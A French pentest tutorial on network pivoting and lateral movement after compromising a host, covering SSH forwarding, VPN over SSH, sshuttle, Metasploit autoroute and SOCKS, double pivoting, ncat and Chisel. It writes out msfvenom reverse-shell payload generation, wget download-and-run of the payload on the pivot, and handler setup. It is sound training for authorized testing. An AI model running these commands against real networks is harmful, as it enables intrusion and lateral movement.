Etat de l’art du pivoting réseau en 2019


Alexandre Zanni, pentester chez Orange Cyberdefense, met en lumière dans cet article plusieurs techniques de pivoting utilisées dans le cadre d’un pentest.

Introduction : qu’est-ce qu’un pivoting ?

Les pentesters sont souvent amenés à passer les frontières des réseaux afin d’accéder aux infrastructures critiques des clients. Un scénario commun consiste à s’introduire dans le réseau interne après avoir compromis une machine qui se trouve dans l’organisation. Le pivoting ou déplacement latéral est un ensemble de techniques utilisé durant un test d’intrusion ou une campagne Red Team. Il consiste à utiliser une machine contrôlée par l’attaquant comme d’un rebond, visant ainsi à augmenter la visibilité du réseau. Autrement dit, c’est le fait d’accéder à un réseau normalement inaccessible, grâce à une machine compromise. Cela permet de contourner bon nombre de protections et de mécanismes de surveillance réseau, puisque les attaques seront lancées depuis une machine légitime faisant partie intégrante du réseau de l’organisation cible.

Cet article couvrira plusieurs techniques de pivoting ainsi que les outils existants permettant de mener à bien un déplacement latéral.

Déplacement latéral : les pré-requis

Connaissances

  • Réseau : routage, NAT, proxy, iptables
  • Hacking : metasploit, reverse/bind shell

Équipements

  • Pivot : une machine contrôlée (VM, machine compromise, serveur de test, etc.)
  • Cible : dans le cadre d’un test, il peut être intéressant de contrôler la ou les machine(s) cible(s). Dans un cas réel, ce n’est pas nécessaire.

Scénario classique

Lors d’un test d’intrusion web, nominalement, l’auditeur peut contacter uniquement les serveurs applicatifs 1 & 2 (Srv App 1 & 2) qui sont placés dans un cloud ou en DMZ (la zone appelée Edge Network). L’auditeur n’a aucun moyen d’accéder directement au réseau interne (la zone appelée Core Network) car sa provenance est bloquée par le pare-feu.

Le pivoting dans le pentest avec Orange Cyberdefense

À un moment, l’auditeur trouve une exécution de commande à distance (RCE) sur l’application web auditée. L’auditeur est en mesure de compromettre le serveur hôte (Srv App 2) et de le forcer à transmettre le trafic de l’attaquant vers le réseau interne (Core Network) car le serveur Srv App 2, lui, est autorisé à accéder à cette zone réseau.

Le pivoting dans le pentest avec Orange Cyberdefense

Scénario simplifié: cible avec IP publique

Nous allons utiliser un environnement simplifié pour la démonstration, où la machine Srv App 1 symbolise une machine directement accessible sur Internet avec une IP publique (front facing) et qui possède une deuxième carte réseau pour accéder à un backend dans un réseau interne.

C’est le cas le plus simple par lequel nous allons commencer.

Le pivoting dans le pentest avec Orange Cyberdefense

Note : Dans les cas suivants, nous allons utiliser une machine Linux possédant un serveur openssh comme machine pivot, mais il est tout à fait possible d’utiliser putty en CLI ou plink pour accomplir le même cheminement sur une machine Windows. S’en suivront des exemples tirant parti d’outils multiplateformes.

SSH local port forwarding

Les connexions depuis le client SSH sont transférées via le serveur SSH puis vers une machine de destination.

$ ssh user@ssh_server -L [bind_address:]local_port:destination_host:destination_hostport

Par exemple, ici, l’auditeur ouvre le port 32000 en local sur son poste (192.168.2.149), se connecte en SSH sur la machine compromise Srv App 1. Le serveur SSH de la machine compromise transfère toutes les requêtes que l’attaquant fait sur sa machine (127.0.0.1:32000) vers le Srv App 2 (10.42.42.2:80) en passant par Srv App 1 (192.168.2.105) via SSH (22).

$ ssh noraj@192.168.2.105 -L 127.0.0.1:32000:10.42.42.2:80 -N

Note :

L’option -N sert à ne pas exécuter de commande après l’authentification, et donc dans notre cas à ne pas lancer de shell puisque nous ne nous servons de SSH que comme d’un tunnel.

Une fois ce tunnel monté, quand l’auditeur requête http://127.0.0.1:32000, il demande en fait indirectement http://10.42.42.2 (pour l’exemple d’un serveur web).

Avantages :

  • Nul besoin d’un compte privilégié
  • Simple à mettre en place
  • Aucune ouverture de port sur le pivot

Inconvénients :

  • Nécessité que le serveur SSH soit activé
  • Nécessité de connaître les login/mots de passe d’un utilisateur
  • Aucun serveur SSH natif sous Windows (sauf beta Windows 10)
  • Ouverture port par port
  • Tunnel TCP

SSH reverse remote port forwarding

Les connexions depuis le serveur SSH sont transférées via le client SSH, puis vers un serveur de destination.

$ ssh user@ssh_server -R [bind_address:]remote_port:destination_host:destination_hostport

Si l’auditeur lançait cette commande depuis sa machine, il ne pourrait qu’exposer un service de sa machine ou disponible sur son réseau à tout le monde pouvant joindre la machine Srv App 1. Si nous prenons l’une des deux commandes ci-dessous, une personne qui irait requêter 192.168.2.105:15000, contacterait la machine de l’attaquant sur le port 9999.

ssh noraj@192.168.2.105 -R 192.168.2.105:15000:127.0.0.1:9999

 

ssh noraj@192.168.2.105 -R 192.168.2.105:15000:192.168.2.149:9999

Si l’auditeur remplace l’IP de sa machine par l’IP d’une machine compromise, il peut ainsi l’exposer sur un autre réseau. Par exemple, dans le cas d’une mission Red Team où l’auditeur aurait compromis une machine dans le réseau interne sur lequel il s’est introduit physiquement, et qu’il voudrait exposer à l’extérieur (sur Internet) afin de pouvoir exfiltrer des données.

Mais ici, ce n’est pas ce que nous cherchons à faire. L’auditeur veut accéder à la machine Srv App 2 du réseau 10.42.42.0/24 via Srv App 1 et non pas exposer un service de sa machine ou de son réseau à l’ensemble du réseau 10.42.42.0/24 grâce à Srv App 1.

C’est pourquoi l’auditeur devra lancer cette commande, non pas depuis sa machine, mais depuis la machine pivot (d’où le reverse remote port forwarding).

Pour se faire, se connecter au serveur pivot (Srv App 1) via SSH, via un revese shell, web shell, etc.

$ ssh noraj@192.168.2.105

Il faut donc au préalable que l’auditeur héberge un serveur SSH sur sa propre machine.

$ sudo systemctl start sshd

Comme nous allons ouvrir une connexion SSH depuis un serveur compromis vers notre propre machine, il est important de créer un compte dédié sans shell afin d’éviter le hack back d’un administrateur de l’entreprise ou bien un cybercriminel qui aurait réussi à compromettre la machine, lui aussi.

$ sudo useradd sshpivot --no-create-home --shell /bin/false
$ sudo passwd sshpivot

PS : /bin/false doit être ajouté dans /etc/shells
sinon la connexion sera refusée.
Puis, depuis la machine pivot, il faut exécuter :

$ ssh sshpivot@192.168.2.149 -R 127.0.0.1:14000:10.42.42.2:80 -N

Maintenant, l’auditeur peut requêter http://127.0.0.1:14000 afin de joindre http://10.42.42.2.

Avantages :

  • Aucun besoin d’un compte privilégié
  • Simple à mettre en place
  • Inutile que le serveur SSH soit activé
  • Inutile de connaître les login/mot de passe d’un utilisateur
  • Aucune ouverture de port sur le pivot

Inconvénients :

  • Pas de client SSH natif sous Windows
  • Ouverture port par port
  • Tunnel TCP

SSH dynamic port forwarding

Les connexions de divers services seront transférées via le client SSH puis via le serveur SSH et, finalement, vers plusieurs machines de destination.

Avec le dynamic port forwarding vous allez ouvrir un port local sur la machine pivot. SSH va écouter sur ce port et se comporter comme un serveur proxy SOCKS (SOCKS4 ou SOCKS5).

$ ssh user@ssh_server -D [bind_address:]local_port

Cela permettra à l’auditeur de se servir du serveur SSH de la machine pivot comme serveur proxy SOCKS avec un binding local.

$ ssh noraj@192.168.2.105 -D 127.0.0.1:12000 -N

Par exemple, l’auditeur peut ensuite faire des requêtes vers tous les réseaux accessibles par la machine pivot en passant par le proxy :

$ curl --head http://10.42.42.2 --proxy socks5://127.0.0.1:12000
HTTP/1.1 302 Found
Date: Wed, 28 Aug 2019 08:05:32 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1c PHP/7.3.8
X-Powered-By: PHP/7.3.8
Location: http://10.42.42.2/dashboard/
Content-Type: text/html; charset=UTF-8

Avantages :

  • Nul besoin d’un compte privilégié
  • Simple à mettre en place
  • Aucune ouverture de port sur le pivot
  • Ouverture de port et cible dynamique

Inconvénients :

  • Nécessité que le serveur SSH soit activé
  • Nécessité de connaître les login/mot de passe d’un utilisateur
  • Pas de serveur SSH natif sous Windows (sauf beta Windows 10)
  • Tunnel TCP

SSH reverse remote port forwarding + proxy SOCKS

Nous avons déjà vu la technique de SSH reserve remote port forwarding et ses nombreux avantages mais un inconvénient de taille reste le même que pour le SSH local port forwarding : le tunnel est ouvert pour un port en particulier et rend donc la progression contraignante.

Pour remédier à cela, et autoriser une allocation de ports et de cibles dynamiques de la même manière qu’avec le SSH dynamic port forwarding, l’astuce consiste à binder un serveur proxy sur le pivot à la place de la cible.

Pour cela, il va falloir déployer un serveur proxy sur le pivot.

Il y a bien sûr le très connu :proxychains
ou sa variante nouvelle génération, qui peut être utile comme client mais qui sera difficilement utilisable comme serveur proxy sur le pivot à cause des problématiques de compilation. C’est pour cela que nous allons plutôt privilégier
3proxy

  • proxychains fonctionne uniquement avec des programmes “linkés” dynamiquement et avec la même version utilisée que pour proxychains
  • proxychains-ng idem
  • 3proxy : proxy avancé, peut être utilisé en version portable (indépendante)

Nous allons compiler le binaire à déployer sur le pivot depuis la machine de l’auditeur et distribuer via un serveur HTTP :

$ git clone https://github.com/z3APA3A/3proxy.git
$ cd 3proxy
$ make -f Makefile.Linux
$ python -m http.server -d bin --bind 192.168.2.149 8080

Note :

Si le pivot est un Windows, il existe aussi un makefile windows ou des binaires précompilés. Idem pour d’autres OS plus exotiques.

Ici, nous utiliserons un des binaires standelone (socks) fournit par : 3proxy
plutôt que le binaire complet : 3proxy
qui est plus puissant mais qui nécessite un fichier de configuration.

Sur le pivot on télécharge le binaire, nous lançons le serveur proxy sur le port 10080.  Finalement, nous lançons le SSH reverse remote port forwarding :

$ wget http://192.168.2.149:8080/socks
$ chmod u+x socks
$ ./socks '-?'
$ ./socks -p10080 -tstop -d
$ ssh sshpivot@192.168.2.149 -R 127.0.0.1:14000:127.0.0.1:10080 -N

Sur sa machine, l’auditeur peut maintenant utiliser ses outils à travers le proxy SOCKS.

$ curl --head http://10.42.42.2 --proxy socks5://127.0.0.1:14000
HTTP/1.1 302 Found
Date: Wed, 28 Aug 2019 09:22:40 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1c PHP/7.3.8
X-Powered-By: PHP/7.3.8
Location: http://10.42.42.2/dashboard/
Content-Type: text/html; charset=UTF-8

Avantages :

  • Nul besoin d’un compte privilégié
  • Nul besoin que le serveur SSH soit activé
  • Nul besoin de connaître les login/mot de passe d’un utilisateur
  • Ouverture de port et cible dynamique

Inconvénients:

  • Pas de client SSH natif sous Windows
  • Ouverture d’un port local sur le pivot
  • Déploiement d’un serveur proxy sur le pivot
  • Tunnel TCP

VPN over SSH

Exemple théorique :

L’inconvénient des méthodes précédentes est l’utilisation d’un tunnel TCP. Avec openssh 4.3+ il est possible d’ouvrir un tunnel de couche 2 à travers une session SSH. Cela donne à l’auditeur le contrôle sur le trafic IP et donc la possibilité de lancer des scans SYN avec nmap et surtout de ne pas avoir besoin de faire passer ses outils à travers un proxy. En effet, à titre d’exemple, “proxifier” nmap à travers proxychains ralentit considérablement la vitesse de scan et limite fortement les possibilités/options de scans utilisables.

Comme on peut le voir dans la section avantages/inconvénients, les contreparties de la “tunnellisation” de couche 2 se payent au prix fort.

Le schéma ci-dessous symbolise plusieurs réseaux, car, en général, Internet ou plusieurs sous-réseaux internes séparent l’auditeur de la machine compromise. Sinon, il y a peu d’intérêt à monter un VPN entre les deux.

Le lien de couleur orange symbolise la liaison VPN entre l’auditeur et la machine pivot.

Le pivoting dans le pentest avec Orange Cyberdefense

Pour le VPN, il faut commencer par choisir un réseau qui n’est utilisé par aucun des deux côtés du lien : ici 10.43.43.0/30.

Nous allons donc commencer par monter le VPN, puis par fournir la configuration réseau.

Tout d’abord, il faut autoriser le tun device forwarding en ajoutant PermitTunnel yes dans /etc/ssh/sshd_config.

Ensuite, il faut créer une interface tun sur la machine de l’auditeur et sur la machine pivot. Cette opération requiert d’être root.

Il y a deux façon de procéder :

Solution n°1 (à éviter)

Consiste à laisser l’option -w d’openssh créer les interfaces tun elle-même. Cette solution est réellement à éviter car elle oblige à lancer le client openssh en root (eg. via sudo) sur la machine de l’auditeur et à se connecter avec le compte root sur la machine pivot (et donc d’avoir PermitRootLogin yes dans /etc/ssh/sshd_config).

$ sudo ssh root@192.168.2.105 -w any:any

any:any laisse openssh choisir automatiquement les numéros (tunX) des interfaces tun respectivement côté client et côté serveur.

 

Solution n°2 (recommandée)

Consiste à créer soi-même les interfaces tun. Cela a quand même le désavantage de devoir créer et supprimer manuellement les interfaces alors qu’openssh, lui, les crée et supprime automatiquement à la connexion et à la déconnexion de la session.

Sur le serveur pivot on crée l’interface tun, on lui attribue l’IP 10.43.43.1 en définissant le peering et on active l’interface :

$ sudo ip tuntap add dev tun0 mode tun
$ sudo ip addr add 10.43.43.1/30 peer 10.43.43.2 dev tun0
$ sudo ip link set tun0 up

On fait de même sur la machine de l’auditeur :

$ sudo ip tuntap add dev tun0 mode tun
$ sudo ip addr add 10.43.43.2/30 peer 10.43.43.1 dev tun0
$ sudo ip link set tun0 up

Ensuite, l’auditeur doit lancer le VPN over SSH depuis sa machine :

$ ssh noraj@192.168.2.105 -w 0:0

Dans l’option ​-w il faut spécifier le numéro des interfaces tun que l’on a créées manuellement.

Note :

ping 10.43.43.1 pour vérifier que le tunnel est bien établi.

Ensuite il faut activer l’ip forwarding sur la machine pivot :

$ sudo sysctl net.ipv4.conf.default.forwarding=1

Note au lecteur : Au sein des lignes de code, les guillemets français sont à considérer comme des guillemets anglais.
Il s’agit d’une mise en page automatique de WordPress que nous ne pouvons contourner.

<Aparté> : Utiliser sysctl évite de :

  • Se connecter en root: sudo su root puis echo “1” > /proc/sys/net/ipv4/conf/default/forwarding car sudo echo “1” > /proc/sys/net/ipv4/conf/default/forwarding ne peut pas fonctionner à cause du redirecteur.
  • Utiliser deux commandes : echo “1” | sudo tee /proc/sys/net/ipv4/conf/default/forwarding
  • Même si c’est le cas pour 99% des systèmes, le procfs n’est pas forcément monté dans /proc/sys.
  • Rentrer des valeurs erronées dans les fichiers système car sysctl va vérifier que les valeurs sont valides.

</Aparté>

Ensuite l’auditeur veut accéder aux machines du réseau distant (ici Srv App 2) sans avoir à modifier la configuration de ce réseau.

Pour cela nous devrons configurer le NAT sur le serveur pivot et ajouter une route sur la machine de l’auditeur.

Pour la règle NAT on définit la source comme 10.43.43.2 (IP machine auditeur dans le VPN) et l’interface réseau qui permet d’accéder au réseau distant (eth1) ou bien le réseau de destination lui-même.

Il faut donc utiliser l’une des deux commandes suivantes sur la machine pivot :

$ sudo iptables -t nat -A POSTROUTING -s 10.43.43.2 -o eth1 -j MASQUERADE
$ sudo iptables -t nat -A POSTROUTING -s 10.43.43.2 -d 10.42.42.0/24 -j MASQUERADE

Pour visualiser la règle de NAT que nous venons d’ajouter, on peut utiliser sudo iptables -t nat -L –line-numbers et pour supprimer une règle NAT sudo iptables -t nat -D POSTROUTING 11 est le numéro de la règle NAT affichée avec la commande précédente.

Plutôt que le NAT, il est possible d’obtenir le même résultat en mettant en place un proxy ARP.

Il faut activer cette fonctionnalité par interface, par exemple pour eth0 : sudo sysctl net.ipv4.conf.eth0.proxy_arp=1. Il est possible de remplacer le nom de l’interface par all pour le faire sur toutes les interfaces à la fois.

Puis il faut déclarer l’IP que l’on veut diffuser en ARP dans le réseau distant et spécifier derrière quelle interface elle se trouve.

$ sudo ip neigh add proxy 10.43.43.2 dev eth0

Qu’on ait opté pour le NAT ou le proxy ARP, il faut ajouter la route vers le réseau distant sur la machine de l’auditeur :

$ sudo ip route add 10.42.42.0/24 via 10.43.43.1

Avantages :

  • “Tunnellisation” de couche 2 (IP forwarding)

Inconvénients :

  • Besoin que le serveur SSH soit activé
  • Besoin de connaître les login/mots de passe d’un utilisateur ou d’en créer un
  • Pas de serveur SSH natif sous Windows (sauf beta Windows 10)
  • Modification de la configuration du serveur SSH et redémarrage du service : nécessite les droits root
  • Activation de l’IP forwarding sur le serveur : nécessite les droits root
  • Mise en place de NAT sur le pivot : nécessite les droits root
  • Création d’une interface tun sur le pivot : nécessite les droits root
  • Beaucoup de configuration requise
  • Mise en place des pré-requis peu furtif
  • TPC over TCP (lent)

sshuttle - Transparent proxy over ssh

sshuttle est disponible sur GitHub.

sshuttle fonctionne comme un proxy transparent à travers ssh.

Simple d’utilisation, il suffit d’utiliser la commande suivante pour transférer le trafic vers 10.42.42.0/24 à travers le pivot.

$ sshuttle -r noraj@192.168.2.105 10.42.42.0/24

Ensuite sshtuttle crée automatiquement les règles “iptables” afin que l’on puisse directement contacter le réseau distant sans configuration.

$ curl --head http://10.42.42.2

Il est aussi possible de laisser sshuttle automatiquement détecter les sous-réseaux à transférer en se basant sur la table de routage du serveur. À ce moment-là, il est plutôt avisé d’activer le premier niveau de verbosité afin de pouvoir consulter les règles créées automatiquement.

$ sshuttle -vNr noraj@192.168.2.105 -x 192.168.1.0/24
Starting sshuttle proxy.
firewall manager: Starting firewall with Python version 3.7.4
firewall manager: ready method name nat.
IPv6 enabled: False
UDP enabled: False
DNS enabled: False
User enabled: False
TCP redirector listening on ('127.0.0.1', 12300).
Starting client with Python version 3.7.4
c : connecting to server...
Password:
Starting server with Python version 3.6.5
 s: latency control setting = True
c : Connected.
 s: auto-nets:True
 s: available routes:
 s:   2/10.42.42.0/24
 s:   2/192.168.1.0/24
firewall manager: setting up.
>> iptables -t nat -N sshuttle-12300
>> iptables -t nat -F sshuttle-12300
>> iptables -t nat -I OUTPUT 1 -j sshuttle-12300
>> iptables -t nat -I PREROUTING 1 -j sshuttle-12300
>> iptables -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.1/32 -p tcp
>> iptables -t nat -A sshuttle-12300 -j RETURN --dest 192.168.1.0/24 -p tcp
>> iptables -t nat -A sshuttle-12300 -j REDIRECT --dest 10.42.42.0/24 -p tcp --to-ports 12300 -m ttl ! --ttl 42
>> iptables -t nat -A sshuttle-12300 -j REDIRECT --dest 192.168.1.0/24 -p tcp --to-ports 12300 -m ttl ! --ttl 42
^Cfirewall manager: undoing changes.
>> iptables -t nat -D OUTPUT -j sshuttle-12300
>> iptables -t nat -D PREROUTING -j sshuttle-12300
>> iptables -t nat -F sshuttle-12300
>> iptables -t nat -X sshuttle-12300

L’option -x permet d’exclure un sous-réseau pour ne pas le transmettre à travers le tunnel.

 

Avantages :

  • Nul besoin d’un compte privilégié
  • Ouverture de port et cible dynamique
  • Fonctionne avec python 2 ou 3
  • Aucun déploiement sur le pivot
  • Package d’installation pour plusieurs OS
  • Très simple d’utilisation

Inconvénients :

  • Besoin que le serveur SSH soit activé
  • Besoin de connaître les login/mot de passe d’un utilisateur
  • Nécessite python 2 ou 3 côté pivot (assez commun)
  • Tunnel TCP
  • Nécessite les droits root côté client

Metasploit - autoroute, proxy SOCKS, local port forwarding

Maintenant nous allons déployer un shell meterpreter sur la machine pivot et voir ce qu’il est possible de faire avec en terme de routage, proxying et de port forwarding.

Commençons par générer un reverse shell classique pour la machine pivot :

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.2.149 LPORT=8080 -f elf --platform linux --arch x64 > reverse.elf
No encoder or badchars specified, outputting raw payload
Payload size: 129 bytes
Final size of elf file: 249 bytes

Lançons un serveur HTTP pour le déploiement :

$ python -m http.server --bind 192.168.2.149
Serving HTTP on 192.168.2.149 port 8000 (http://192.168.2.149:8000/) ...

Téléchargeons et rendons le shell exécutable :

$ wget http://192.168.2.149:8000/reverse.elf
$ chmod u+x reverse.elf

Avant de l’exécuter nous devons lancer le listener sur la machine auditeur.

$ msfconsole -q
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.2.149
LHOST => 192.168.2.149
msf5 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.149:8080

Maintenant nous pouvons exécuter le shell sur la machine pivot : ./reverse.elf.

Nous voyons le pivot se connecter à notre handler et nous obtenons un shell meterpreter.

[*] Sending stage (3021284 bytes) to 192.168.2.105
[*] Meterpreter session 1 opened (192.168.2.149:8080 -> 192.168.2.105:42852) at 2019-08-29 18:12:15 +0200

meterpreter >

Jusqu’ici du très classique.

On peut utiliser la commande meterpreter ifconfig pour découvrir les interfaces réseau mais ici nous connaissons déjà la topologie.

Nous devons demander à metasploit d’ajouter une règle de routage pour que notre machine puisse contacter le réseau distant. Nous allons mettre notre session meterpreter en arrière-plan et utiliser le module autoroute.

msf5 exploit(multi/handler) > back
msf5 > use post/multi/manage/autoroute
msf5 post(multi/manage/autoroute) > set SESSION 1
SESSION => 1
msf5 post(multi/manage/autoroute) > set CMD add
CMD => add
msf5 post(multi/manage/autoroute) > set SUBNET 10.42.42.0
SUBNET => 10.42.42.0
msf5 post(multi/manage/autoroute) > set NETMASK /24
NETMASK => /24
msf5 post(multi/manage/autoroute) > run

[!] SESSION may not be compatible with this module.
[*] Running module against 192.168.2.105
[*] Adding a route to 10.42.42.0/255.255.255.0...
[+] Route added to subnet 10.42.42.0/255.255.255.0.
[*] Post module execution completed
msf5 post(multi/manage/autoroute) > set CMD print
CMD => print
msf5 post(multi/manage/autoroute) > run

[!] SESSION may not be compatible with this module.
[*] Running module against 192.168.2.105

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.42.42.0         255.255.255.0      Session 1

[*] There are currently no IPv6 routes defined.
[*] Post module execution completed

Metasploit possède un module pour Windows qui permet de faire un scan ARP afin d’essayer de détecter de nouvelles machines sur le réseau distant. Ce modèle s’appelle post/windows/gather/arp_scanner mais il n’y a malheureusement pas d’équivalent pour Linux. Ce n’est pas un problème ici comme nous savons que nous voulons joindre 10.42.42.2.

Nous pouvons maintenant démarrer un proxy SOCKS avec le module auxiliary/server/socks4a.

msf5 > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > show options

Module options (auxiliary/server/socks4a):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.


Auxiliary action:

   Name   Description
   ----   -----------
   Proxy


msf5 auxiliary(server/socks4a) > set SRVPORT 1081
SRVPORT => 1081
msf5 auxiliary(server/socks4a) > run
[*] Auxiliary module running as background job 1.
msf5 auxiliary(server/socks4a) >
[*] Starting the socks4a proxy server

PS : le module SOCKS5 semble ne pas fonctionner avec tous les outils.

Nous avons maintenant l’équivalent d’un SSH dynamic port forwarding.

Comme les précédentes fois, nous pouvons utiliser le serveur proxy avec nos outils. Nous reviendrons plus en détails sur l’utilisation d’outils en combinaison d’un proxy socks par la suite.

$ curl --head http://10.42.42.2 --proxy socks4a://127.0.0.1:1081

Au cas où nous aurions un outil qui ne supporterait pas d’être “proxifié”, nous pouvons toujours utiliser la commande meterpreter portfwd pour mettre en place un local port forwarding.

Pour cela, nous avons besoin de retourner sur notre session meterpreter.

msf5 > sessions -i 1
meterpreter > portfwd add -L 127.0.0.1 -l 23000 -r 10.42.42.2 -p 80
[*] Local TCP relay created: 127.0.0.1:23000 <-> 10.42.42.2:80
meterpreter > portfwd list

Active Port Forwards
====================

   Index  Local            Remote         Direction
   -----  -----            ------         ---------
   1      127.0.0.1:23000  10.42.42.2:80  Forward

1 total active port forwards.

Parfait, nous pouvons vérifier le bon fonctionnement du local port forwarding curl –head http://127.0.0.1:23000.

Metasploit - double pivoting

Imaginons maintenant que nous avons trouvé une vulnérabilité sur le serveur Srv App 2, et que nous voulons nous en servir, elle aussi, comme d’un pivot pour voir s’il n’y a pas d’autres réseaux auxquels nous pourrions accéder.

Cette fois-ci, nous devons générer un reverse shell en mettant l’adresse du premier pivot (l’IP de l’interface du réseau distant) pour recevoir le shell.

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.42.42.1 LPORT=8088 -f exe --platform windows --arch x64 > reverse.exe
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes

Utilisons une vulnérabilité fictive et exécutons le shell. Mais avant il nous faut bien sûr le handler en écoute sur le pivot.

msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.42.42.1
LHOST => 10.42.42.1
msf5 exploit(multi/handler) > set LPORT 8088
LPORT => 8088
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.42.42.1:8088 via the meterpreter on session 1
[*] Sending stage (206403 bytes) to ::ffff:10.42.42.2
[*] Meterpreter session 2 opened (192.168.2.149-192.168.2.105:8088 -> ::ffff:10.42.42.2:49702) at 2019-08-29 20:28:38 +0200

On remarque via the meterpreter on session 1 ; metasploit a intelligemment déduit qu’il devait lancer le handler depuis notre session sur le pivot.

Maintenant nous avons un 2ème pivot qui, cette fois ci, est sous Windows.

Nous allons donc pouvoir utiliser le module arp_scanner depuis la nouvelle session meterpreter (session 2).

meterpreter > run post/windows/gather/arp_scanner RHOSTS=10.42.42.0/24

[*] Running module against DESKTOP-PELL6GS
[*] ARP Scanning 10.42.42.0/24
[+]     IP: 10.42.42.1 MAC 08:00:27:90:38:a3 (CADMUS COMPUTER SYSTEMS)
[+]     IP: 10.42.42.2 MAC 08:00:27:f9:ac:cf (CADMUS COMPUTER SYSTEMS)

Ici Srv App 2 n’est pas connecté à un autre réseau que celui que nous connaissons déjà. Mais s’il en avait un autre, nous aurions pu scanner ce 2ème réseau distant, potentiellement détecter une 3ème machine vulnérable, l’exploiter et en faire un 3ème pivot, et ainsi de suite.

Si Srv App 2 était connecté à un autre réseau nous aurions aussi pu utiliser le module autoroute de nouveau pour accéder au second réseau distant via 2 rebonds. Imaginons le réseau 10.70.70.0.24, cela donnerait :

msf5 post(multi/manage/autoroute) > set SESSION 2
SESSION => 2
msf5 post(multi/manage/autoroute) > set CMD add
CMD => add
msf5 post(multi/manage/autoroute) > set SUBNET 10.70.70.0
SUBNET => 10.70.70.0
msf5 post(multi/manage/autoroute) > set NETMASK /24
NETMASK => /24
msf5 post(multi/manage/autoroute) > run

Ensuite nous aurions pu définir un deuxième proxy SOCKS pour atteindre le réseau 10.70.70.0/24.

msf5 > use auxiliary/server/socks4a
msf5 auxiliary(socks4a) > set SRVPORT 1082
SRVPORT => 1082
msf5 auxiliary(socks4a) > run

Ncat - Reverse remote port forwarding

Comme expliqué ici, Ncat est à ne pas confondre avec Netcat qui fournit nc. Netcat est un simple utilitaire Unix qui permet de lire et écrire des données à travers TCP ou UDP, il est souvent utilisé pour créer des reverse ou bind shells. Cependant Ncat est une version largement améliorée de Netcat développée par l’équipe de Nmap. D’ailleurs, dans beaucoup de distributions Linux, ncat est souvent disponible dans le même package que nmap (ex : ArchLinux), alors que dans d’autres distributions ncat est disponible dans un package séparé (ex : OpenSUSE). Une mauvaise pratique courante est de laisser des outils de développement, de debug et d’analyse sur un serveur en production, il n’est donc pas rare de voir nmap ou tcpdump installés sur un serveur en production. Dans le cas où nmap est présent et que ncat est distribué avec, nous avons sous la main un outil très pratique pour ouvrir un shell dont nous allons aussi pouvoir nous servir pour pivoter. Pour en finir avec la description de ncat, les améliorations apportées par rapport à netcat sont par exemple : le chiffrement de la connexion, la restriction par IP, le chaînage, la redirection, la connexion à travers un proxy ou encore le support d’IPv6.

Pour utiliser ncat comme pivot, nous allons en avoir besoin sur la machine de l’auditeur mais aussi sur la machine pivot. Dans le cas où la machine pivot est un Windows, une version pré-compilée ncat.exe existe aussi.

Nous allons lancer un listener ncat sur la machine de l’auditeur en mode broker, cela signifie qu’il va pouvoir accepter de recevoir plusieurs clients à la fois !

$ ncat -lv --broker --max-conns 2
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::31337
Ncat: Listening on 0.0.0.0:31337

Puis, sur la machine pivot on va se connecter à la machine de l’auditeur et à la cible en même temps.

$ ncat -v 192.168.2.149 31337 -c 'ncat -v 10.42.42.2 80'
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.2.149:31337
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Connected to 10.42.42.2:80

Voilà, nous avons établi un reverse remote port forwarding avec ncat.

$ curl --head http://127.0.0.1:31337
HTTP/1.1 302 Found
Date: Tue, 03 Sep 2019 14:42:46 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1c PHP/7.3.8
X-Powered-By: PHP/7.3.8
Location: http://127.0.0.1:31337/dashboard/
Content-Type: text/html; charset=UTF-8

Avantages :

  • Nul besoin d’un compte privilégié
  • Simple à mettre en place
  • Aucune ouverture de port sur le pivot
  • Nul besoin de serveur SSH
  • Nul besoin de connaître les login/mots de passe d’un utilisateur

Inconvénients :

  • Besoin d’être déployé sur la machine pivot
  • Ouverture port par port
  • Tunnel TCP

Note :

Comme nous l’avons précédemment fait avec SSH, il serait possible de remplacer la connexion directe vers la cible par un serveur SOCKS, en appelant 3proxy dans l’option -c au lieu de ncat.

Chisel - HTTP tunnel

Chisel est disponible sur GitHub.

Chisel est un outil très puissant qui va encapsuler une session TCP dans un tunnel HTTP (un peu à la manière de Tunna ou reGeorg que nous verrons plus tard) tout en le sécurisant via SSH (dans le même style que sshuttle).

Chisel est un competitor-killer, il est facile à utiliser, performant. Toutes les communications sont chiffrées grâce à SSH, il supporte l’authentification mutuelle (login/mot de passe pour le client, correspondance du fingerpint pour le serveur), reconnexion automatique, et embarque son propre serveur proxy SOCKS 5.

En bref, nous pouvons faire tout ce que nous avons fait précédemment avec Chisel, et rien que lui.

Note :

Pour les exemples suivants, je ne m’étendrai pas sur les explications car nous les avons déjà vues à travers les scénarios SSH.

Local port forwarding

Sur la machine pivot :

$ chisel server -p 8080 --host 192.168.2.105 -v

Sur la machine de l’auditeur :

$ chisel client -v http://192.168.2.105:8080 127.0.0.1:33333:10.42.42.2:80

Vérification :

$ curl –head http://127.0.0.1:33333

Avantages :

  • Nul besoin d’un compte privilégié
  • Simple à mettre en place
  • Nul besoin de serveur SSH
  • Nul besoin de connaître les login/mot de passe d’un utilisateur
  • Encapsulation HTTP

Inconvénients :

  • Ouverture de port sur la machine pivot
